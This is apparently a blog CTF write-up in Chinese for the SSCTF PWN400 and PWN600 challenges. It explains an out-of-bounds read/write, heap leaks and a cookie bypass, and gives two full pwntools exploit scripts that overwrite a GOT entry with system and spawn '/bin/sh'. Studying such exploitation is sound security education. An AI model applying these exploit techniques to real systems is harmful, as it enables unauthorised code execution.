zoukankan      html  css  js  c++  java
  • SSCTF-PWN

      前几天比赛的PWN题,简单写了下。

    PWN400

      漏洞是一个数组越界访问造成的任意地址读写。在对数据排序后,对数据进行查询和更新时,可以访问到数组以外一个元素(4个字节)。

      程序中存在3种数据结构,第一种是用于存储排序数据的基本块。可以定义为:

    typedef struct chunk1{
        int size;
        int array[size];
    }chunk1, *pchunk1;

      第二种是用于索引这些排序数据块的基本块。可以定义为:

    typedef struct chunk2{
        pchunk1 data;
        struct chunk2 *next;
    }chunk2, *pchunk2;

      第三种是用来索引前两种的基本块,在利用过程中并没有涉及到该数据结构。

      通过构造内存,可以造成堆地址泄漏(这个简单,对数据进行排序后,通过越界访问就可以泄漏堆地址信息),此外,精心构造可以造成两个第一种基本块相邻接,这样就可以通过地址越界将相邻的第一种基本块的大小改为很大,造成任意地址的读和写。当然了,在该题中必须有整数溢出的一个漏洞才能达到最后的目的。

     1 from pwn import *
     2 import time
     3 #context.log_level = 'debug'
     4 #by wangaohui
     5 s = remote('127.0.0.1', 10001)
     6 
     7 time.sleep(1)
     8 print 'pid of pwn1 is :' + str(pwnlib.util.proc.pidof('pwn1')[0])
     9 raw_input('go!')
    10 
    11 def sort(data):
    12     s.sendline('sort')
    13     s.recvuntil('How many numbers do you want to sort: ')
    14     s.sendline(str(len(data)))
    15     for i in data:
    16         s.recvuntil('Enter a number: ')
    17         s.sendline(str(i))
    18 s.recvuntil('_CMD_$ ')
    19 sort([1])
    20 s.recvuntil('Choose: ')
    21 s.sendline('3')
    22 s.recvuntil('Choose: ')
    23 s.sendline('1')
    24 s.recvuntil('Query index: ')
    25 s.sendline('1')
    26 s.recvuntil('Query result: ')
    27 bigtrunk = int(s.recvuntil('
    ')[:-1])
    28 print 'leaked bigtrunk addr is %x' % bigtrunk
    29 s.recvuntil('Choose: ')
    30 s.sendline('7')
    31 
    32 s.recvuntil('_CMD_$ ')
    33 sort([1,2,3,4,5,6,7])
    34 s.recvuntil('Choose: ')
    35 s.sendline('3')
    36 s.recvuntil('Choose: ')
    37 s.sendline('7')
    38 
    39 s.sendline('clear')
    40 
    41 s.recvuntil('_CMD_$ ')
    42 sort([1,2,3,4,5,6,7])
    43 s.recvuntil('Choose: ')
    44 s.sendline('3')
    45 s.recvuntil('Choose: ')
    46 s.sendline('7')
    47 
    48 s.recvuntil('_CMD_$ ')
    49 sort([1])
    50 s.recvuntil('Choose: ')
    51 s.sendline('2')
    52 s.recvuntil('Update index: ')
    53 s.sendline('1')
    54 s.recvuntil('Update number: ')
    55 s.sendline('1073741825') #0x40000001
    56 s.recvuntil('Update succeed!')
    57 s.sendline('7')
    58 
    59 s.recvuntil('_CMD_$ ')
    60 s.sendline('reload')
    61 s.recvuntil('Reload history ID: ')
    62 s.sendline('0')
    63 s.recvuntil('Choose: ')
    64 s.sendline('1')
    65 
    66 atoigot = int('0804D020',16) + 0x100000000
    67 index = (atoigot - (bigtrunk + 0xc))/4
    68 
    69 s.recvuntil('Query index: ')
    70 s.sendline(str(index))
    71 s.recvuntil('Query result: ')
    72 atoi = int(s.recvuntil('
    ')[:-1])&0xffffffff
    73 print 'leaked aoti addr: %x' % atoi
    74 system = atoi - 0x2F7F0 + 0x3E360    #debug
    75 
    76 s.recvuntil('Choose: ')
    77 s.sendline('2')
    78 s.recvuntil('Update index: ')
    79 s.sendline(str(index))
    80 s.recvuntil('Update number: ')
    81 systemstr = '-' + str((system^0xffffffff)+1)
    82 s.sendline(systemstr)
    83 
    84 s.recvuntil('Choose: ')
    85 s.sendline('/bin/sh;')
    86 s.interactive()

    PWN600

        在PWN的基础上对第一种基本块加了Cookie,并在查询和更新时利用Cookie判断该基本块是否被Corrupted。增加了Cookie后,利用难度增加,Cookie是存放在.data数据段中,通过第一种数据块覆盖第二种数据块,可以造成Cookie的泄漏。

        泄漏了Cookie后,就可以构造内存,伪造第一种基本数据块,接下来的思路就和PWN400相类似,任意地址读写。我这个EXP有个成功概率的问题,不会每次都成功。

     1 from pwn import *
     2 import time
     3 #context.log_level = 'debug'
     4 
     5 s = remote('127.0.0.1', 10001)
     6 time.sleep(1)
     7 print 'pid of pwn2 is :' + str(pwnlib.util.proc.pidof('pwn2')[0])
     8 raw_input('go!')
     9 
    10 def sort(data):
    11     s.sendline('sort')
    12     s.recvuntil('How many numbers do you want to sort: ')
    13     s.sendline(str(len(data)))
    14     for i in data:
    15         s.recvuntil('Enter a number: ')
    16         s.sendline(str(i))
    17 
    18 s.recvuntil('_CMD_$ ')
    19 sort([1,2])
    20 s.recvuntil('Choose: ')
    21 s.sendline('3')
    22 s.recvuntil('Choose: ')
    23 s.sendline('1')
    24 s.recvuntil('Query index: ')
    25 s.sendline('2')
    26 s.recvuntil('Query result: ')
    27 bigtrunk = int(s.recvuntil('
    ')[:-1])
    28 print 'leaked bigtrunk addr is %x' % bigtrunk
    29 
    30 s.recvuntil('Choose: ')
    31 s.sendline('2')
    32 s.recvuntil('Update index: ')
    33 s.sendline('2')
    34 s.recvuntil('Update number: ')
    35 s.sendline(str(int('0804C04C',16)))
    36 s.recvuntil('Choose: ')
    37 s.sendline('7')
    38 
    39 s.recvuntil('_CMD_$ ')
    40 s.sendline('history')
    41 s.recvuntil(', Len = ')
    42 random = int(s.recvuntil(',')[:-1])
    43 print 'leaked cookie is %x' % random
    44 
    45 s.recvuntil('_CMD_$ ')
    46 t1 = int('40000001',16)
    47 t2 = t1^random
    48 if(t2>t1):
    49     print 'Will be Exploited!'
    50 sort([t1,t2,t2+1,t2+2,t2+3,t2+4,t2+5,t2+6])
    51 s.recvuntil('Choose: ')
    52 s.sendline('3')
    53 pos = bigtrunk + 0x20
    54 s.recvuntil('Choose: ')
    55 s.sendline('2')
    56 s.recvuntil('Update index: ')
    57 s.sendline('8')
    58 s.recvuntil('Update number: ')
    59 s.sendline(str(pos))
    60 s.recvuntil('Choose: ')
    61 s.sendline('7')
    62 
    63 s.recvuntil('_CMD_$ ')
    64 s.sendline('reload')
    65 
    66 base = bigtrunk + 0x50
    67 atol_got = 0x10804C01C
    68 index = (atol_got - base)/4
    69 print 'index is %d' % index
    70 s.recvuntil('Reload history ID: ')
    71 s.sendline('1')
    72 s.recvuntil('Choose: ')
    73 s.sendline('1')
    74 s.recvuntil('Query index: ')
    75 s.sendline(str(index))
    76 s.recvuntil('Query result: ')
    77 atol = int(s.recvuntil('
    ')[:-1])&0xffffffff
    78 system = atol - 0x000327B0 + 0x0003E360
    79 print 'leaked system addr is %x' % system
    80 systemstr = '-' + str((system^0xffffffff)+1)
    81 
    82 s.recvuntil('Choose: ')
    83 s.sendline('2')
    84 s.recvuntil('Update index: ')
    85 s.sendline(str(index))
    86 s.recvuntil('Update number: ')
    87 s.sendline(systemstr) 
    88 s.recvuntil('Update succeed!')
    89 s.recvuntil('Choose: ')
    90 
    91 s.sendline('/bin/sh;')
    92 s.interactive()
  • 相关阅读:
    super().__init__()方法
    so the first day
    left join,right join,inner join,full join之间的区别
    C#中几种常用的集合的用法ArrayList集合HashTable集合List<T>集合Dictionary<K,V>集合及区别
    C#中Dictionary<string,string>的初始化 两种方式不同
    C#中Dictionary的初始化方式
    如何批量修改文件后缀名?cmd命令 ren *.gif *.jpg
    eclipse查看一个方法被谁引用(调用)的快捷键四种方式
    C# 数组集合
    Java-数组和集合简单使用
  • 原文地址:https://www.cnblogs.com/wangaohui/p/5244043.html
Copyright © 2011-2022 走看看